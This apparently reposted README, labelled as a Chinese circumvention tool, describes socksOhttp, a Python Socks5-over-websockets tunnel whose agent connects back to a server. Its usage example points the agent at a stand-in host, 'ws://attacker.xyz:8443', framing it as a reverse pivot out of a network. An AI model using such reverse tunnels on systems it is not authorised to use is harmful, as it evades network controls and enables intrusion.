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Wednesday, 8 April 2020

翻墙工具-socksohttp?

Socks5 server over Websockets.

IMPORTANT

Project is draft, not fully tested.
Do NOT I REPEAT: DO NOT use the master branch as it is most likely will not work! I'll set up a semi-stable version soon in a separate branch

Prerequirements

Python>=3.6
websockets

What does it do?

The same script has two modes of operation: server and agent
server will set up a websocket listener. One or more agent will be connecting back to it.
When an agent connects the server will open a TCP port on localhost (one per agent).
This TCP port will act like if it would be a Socks5 server, but the actual Socks5 server will be running on the agent, the server only relays the incoming/outgoing traffic to and from the remote Socks 5 server.

Help

The script can be run in two modes: server and agent

server mode params

Command format: socksOhttp.py
Example command: socksOhttp.py -vv server 0.0.0.0 8443
-v is setting the verbosity, be careful as the more verbose you set the slower the connection will be, as it will write ALL incoming and outgoing traffic in hex to stdout!
server is to run the script as a server
0.0.0.0 will make the server listen on all interfaces for incoming websocket agents
8443 is the port the server will listen for incoming websocket agents

agent mode params

Command format: socksOhttp.py <-p proxy_url="">
Example command: socksOhttp.py -vv agent ws://attacker.xyz:8443 -p http://127.0.0.1:8080
-v is setting the verbosity, be careful as the more verbose you set the slower the connection will be, as it will write ALL incoming and outgoing traffic in hex to stdout!
agent is to run the script as an agent
ws://attacker.xyz:8443 is the url of the server the agent should connect back to. Ovbiously replace attacker.xyz:8443 to your server's address.
-p http://127.0.0.1:8080 optional parameter, set it if you need to go trough a HTTP proxy